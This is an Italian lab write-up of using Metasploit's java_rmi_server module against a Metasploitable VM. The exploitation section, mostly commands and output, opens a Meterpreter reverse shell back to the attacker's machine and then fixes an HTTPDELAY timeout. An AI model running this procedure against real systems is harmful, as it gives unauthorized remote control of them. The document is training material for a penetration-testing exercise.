

Introduzione:

L'obiettivo di fine settimana è quello di **Exploitare** il servizio **RMI Java** sulla macchina **Metasploitable**. Il servizio **Java RMI** (Remote Method Invocation) permette a un'applicazione Java di eseguire metodi su oggetti situati su un'altra macchina (in remoto) come se fossero locali, il servizio molto **vulnerabile**, possiamo sfruttarlo per aprire un **meterpreter**, **payload avanzato** di Metasploit che fornisce una **shell interattiva sulla macchina vittima**:

Preparazione:

Dopo aver configurato gli indirizzi IP:

Kali Linux: 192.168.11.111;

Metasploitable: 192.168.11.112;

Li ho fatti **pingare tra di loro** per vedere se comunicano:

Kali per Metasploitable:

```
(kali㉿kali)-[~]  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=11.0 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=8.11 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=4.73 ms  
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=16.4 ms  
^C  
— 192.168.11.112 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3040ms  
rtt min/avg/max/mdev = 4.728/10.062/16.411/4.285 ms
```

```
(kali㉿kali)-[~]  
$   
Home
```

MetaSploitable2 [In esecuzione] - Oracle VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

```
[11]+ Stopped ping 192.168.11.111  
msfadmin@metasploitable:~$ ifconfig  
eth0      Link encap:Ethernet  HWaddr 08:00:27:e1:ed:f1  
          inet addr:192.168.11.112  Bcast:192.168.1.255  Mask:255.255.255.0  
          inet6 addr: fdd7:21:9d01:8782:a00:27ff:fee1:edf1/64 Scope:Global  
          inet6 addr: 2a0e:419:3357:0:a00:27ff:fee1:edf1/64 Scope:Global  
          inet6 addr: fe80::a00:27ff:fee1:edf1/64 Scope:Link  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
          RX packets:16 errors:0 dropped:0 overruns:0 frame:0  
          TX packets:40 errors:0 dropped:0 overruns:0 carrier:0  
          collisions:0 txqueuelen:1000  
          RX bytes:1588 (1.5 KB)  TX bytes:4208 (4.1 KB)  
          Base address:0xd020 Memory:f0200000-f0220000
```

Metasploitable per Kali:

```
MetaSploitable2 [In esecuzione] - Oracle VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

TX packets:40 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1588 (1.5 KB) TX bytes:4208 (4.1 KB)
Base address:0xd020 Memory:f0200000-f0220000

lo
Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:97 errors:0 dropped:0 overruns:0 frame:0
TX packets:97 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:21529 (21.0 KB) TX bytes:21529 (21.0 KB)

msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=0.727 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=1.55 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=1.01 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.897 ms

--- 192.168.11.111 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3022ms
rtt min/avg/max/mdev = 0.727/1.049/1.557/0.312 ms
msfadmin@metasploitable:~$ _
```

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 2a0e:419:3357:0:a00:27ff:fead:2587 prefixlen 64 scopeid 0<global>
    inet6 fdd7:21:9d01:8782:a00:27ff:fead:2587 prefixlen 64 scopeid 0<global>
    inet6 fe80::a00:27ff:fead:2587 prefixlen 64 scopeid 0<link>
    ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
    RX packets 65 bytes 7304 (7.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 36 bytes 5178 (5.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Ora possiamo scannerizzare la **porta 1099**, dove lavora il servizio **RMI**. E notiamo che è **aperta**, perciò possiamo iniziare l'exploit:

```
(kali@kali)-[~]
$ nmap -p 1099 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 04:07 EST
Nmap scan report for 192.168.11.112
Host is up (0.00s latency).

PORT      STATE SERVICE
1099/tcp  open  rmiregistry

Nmap done: 1 IP address (1 host up) scanned in 11.04 seconds

(kali@kali)-[~]
$
```

Iniziamo col cercare l'exploit adatto per il servizio RMI, e a seconda dei nostri **requisiti** per l'exploit, scegliamo l'**ottavo**:

```

kali@kali:~$ msf6
File Actions Edit View Help

[-] No results from search
msf6 > search java rmi

Matching Modules

#  Name                                                                 Disclosure Date  Rank  Check  Description
-  -
0  exploit/multi/http/atlassian_crowd_pdkinstall_plugin_upload_rce    2019-05-22     excellent Yes    Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE
1  exploit/multi/http/crushftp_rce_cve_2023_43177                    2023-08-08     excellent Yes    CrushFTP Unauthenticated RCE
2  \  target: Java                                                         .         .         .
3  \  target: Linux Dropper                                                .         .         .
4  \  target: Windows Dropper                                              .         .         .
5  exploit/multi/misc/java_jmx_server                                2013-05-22     excellent Yes    Java JMX Server Insecure Configuration Java Code Execution
6  auxiliary/scanner/misc/java_jmx_server                            2013-05-22     normal   No     Java JMX Server Insecure Endpoint Code Execution Scanner
7  auxiliary/gather/java_rmi_registry                               2011-10-15     normal   No     Java RMI Registry Interfaces Enumeration
8  exploit/multi/misc/java_rmi_server                                2011-10-15     excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
9  \  target: Generic (Java Payload)                                       .         .         .
10 \  target: Windows x86 (Native Payload)                                .         .         .
11 \  target: Linux x86 (Native Payload)                                  .         .         .
12 \  target: Mac OS X PPC (Native Payload)                              .         .         .
13 \  target: Mac OS X x86 (Native Payload)                              .         .         .
14 auxiliary/scanner/misc/java_rmi_server                            2011-10-15     normal   No     Java RMI Server Insecure Endpoint Code Execution Scanner
15 exploit/multi/browser/java_rmi_connection_impl                    2010-03-31     excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation
16 exploit/multi/browser/java_signed_applet                         1997-02-19     excellent No     Java Signed Applet Social Engineering Code Execution
17 \  target: Generic (Java Payload)                                       .         .         .
18 \  target: Windows x86 (Native Payload)                                .         .         .
19 \  target: Linux x86 (Native Payload)                                  .         .         .
20 \  target: Mac OS X PPC (Native Payload)                              .         .         .
21 \  target: Mac OS X x86 (Native Payload)                              .         .         .
22 exploit/multi/http/jenkins_metaprogramming                       2019-01-08     excellent Yes    Jenkins ACL Bypass and Metaprogramming RCE
23 \  target: Unix In-Memory                                              .         .         .
24 \  target: Java Dropper                                                .         .         .
25 exploit/linux/misc/jenkins_java_deserialize                       2015-11-18     excellent Yes    Jenkins CLI RMI Java Deserialization Vulnerability
26 exploit/linux/http/kibana_timeline_prototype_pollution_rce      2019-10-30     manual   Yes    Kibana Timeline Prototype Pollution RCE
27 exploit/multi/browser/firefox_xpi_bootstrapped_addon             2007-06-27     excellent No     Mozilla Firefox Bootstrapped Addon Social Engineering Code Execution
28 \  target: Universal (JavaScript XPCOM Shell)                         .         .         .
29 \  target: Native Payload                                              .         .         .
30 exploit/multi/http/openssl_auth_bypass_rce_cve_2023_32315        2023-05-26     excellent Yes    OpenSSL authentication bypass with RCE plugin
31 exploit/multi/http/torchserver_cve_2023_43654                    2023-10-03     excellent Yes    PyTorch Model Server Registration and Deserialization RCE
32 exploit/multi/http/totaljs_cms_widget_exec                       2019-08-30     excellent Yes    Total.js CMS 12 Widget JavaScript Code Injection
33 \  target: Total.js CMS on Linux                                       .         .         .
34 \  target: Total.js CMS on Mac                                         .         .         .
35 exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc           2021-09-21     manual   Yes    VMware vCenter vSclation Priv Esc
36 exploit/multi/misc/vscode_ipynb_remote_dev_exec                  2022-11-22     excellent Yes    VSCode ipynb Remote Development RCE
37 \  target: Windows                                                         .         .         .
38 \  target: Linux File-Dropper                                           .         .         .

Interact with a module by name or index. For example info 38, use 38 or use exploit/multi/misc/vscode_ipynb_remote_dev_exec
After interacting with a module you can manually set a TARGET with set TARGET 'Linux File-Dropper'

msf6 >

```

```
msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                         |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > |
```

e runniamo:

```
View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/uZcEux5S
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:54065) at 2024-11-15 04:11:20 -0500

meterpreter > █
```

Ora per constatare se abbiamo accesso alla macchina, facciamo ***ifconfig***, e vediamo che **l'IP** che ci esce **è lo stesso di Metasploitable**:

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fdd7:21:9d01:8782:a00:27ff:fee1:edf1
IPv6 Netmask : ::
IPv6 Address : 2a0e:419:3357:0:a00:27ff:fee1:edf1
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fee1:edf1
IPv6 Netmask : ::

meterpreter > █
```

Per ottenere invece le informazioni della **tabella di Routing** scriviamo ***route*** su Meterpreter:

```
meterpreter > route
```

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
2a0e:419:3357:0:a00:27ff:fee1:edf1	::	::		
fdd7:21:9d01:8782:a00:27ff:fee1:edf1	::	::		
fe80::a00:27ff:fee1:edf1	::	::		

```
meterpreter > █
```

Condizione speciale:

Può capitare che la sessione non venga aperta per un errore di **RuntimeError**, indica che Metasploit ha inviato il payload alla macchina vittima, ma la vittima non ha risposto entro il tempo specificato, causando un timeout.

```
*] Started reverse TCP handler on 192.168.11.111:4444
*] 192.168.11.112:1099 - Using URL: http://0.0.0.0:8080/wwFYvKVpD
*] 192.168.11.112:1099 - Local IP: http://127.0.0.1:8080/wwFYvKVpD
*] 192.168.11.112:1099 - Server started.
*] 192.168.11.112:1099 - Sending RMI Header ...
*] 192.168.11.112:1099 - Sending RMI Call ...
*] 192.168.11.112:1099 - Replied to request for payload JAR
*] Sending stage (58053 bytes) to 192.168.11.112
*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:1099) at 2022-07-29 09:59:20 -0400
-] 192.168.11.112:1099 - Exploit failed: RuntimeError Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request
*] 192.168.11.112:1099 - Server stopped.
*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > show options
```

Ci basterà solamente modificare l'**HTTPDELAY** in options, e metterlo da **10** a **20**, per vedere che ora funzionerà tutto correttamente e si **creerà** la **sessione**:


```

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  --      -
  HTTPDELAY  10                  yes       Time that the HTTP Server will wait for the payload request
  RHOSTS    192.168.11.112      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit.html
  RPORT     1099                yes       The target port (TCP)
  SRVHOST   0.0.0.0             yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080                yes       The local port to listen on.
  SSL       false               no        Negotiate SSL for incoming connections
  SSLCert   false               no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH   false               no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set httpdelay 20
httpdelay => 20
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/qjUfPhh
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 2 opened (192.168.11.111:4444 -> 192.168.11.112:37552) at 2024-11-15 04:21:21 -0500

meterpreter >

```

Spiegazione Exploit:

L'exploit **`exploit/multi/misc/java_rmi_server`** è progettato per sfruttare una vulnerabilità nel protocollo Java **RMI (Remote Method Invocation)**.

L'exploit sfrutta una vulnerabilità di tipo **remote code execution (RCE)** che può verificarsi quando un server **RMI è configurato in modo errato**. In particolare, l'exploit può essere utilizzato per inviare codice maligno a un server che espone il proprio servizio RMI, con il risultato che il server remoto esegua quel codice.

Una volta quindi che l'attaccante invia la richiesta di exploit al server vulnerabile, il server esegue il codice che l'attaccante **ha preparato nel payload**. Questo consente all'attaccante di acquisire il controllo del server remoto.

Se un server RMI vulnerabile è presente in una rete, un attaccante potrebbe utilizzarlo per compromettere l'intero sistema, ad esempio:

- **Accedere a file e dati sensibili;**
- **Eseguire comandi remoti:**
- **Dilagarsi verso le altre macchine della rete;**

Per proteggersi bisogna assicurarsi che il **firewall** sia attivo, utilizzare **tecniche di autenticazione** e tenere **aggiornato il software Java**.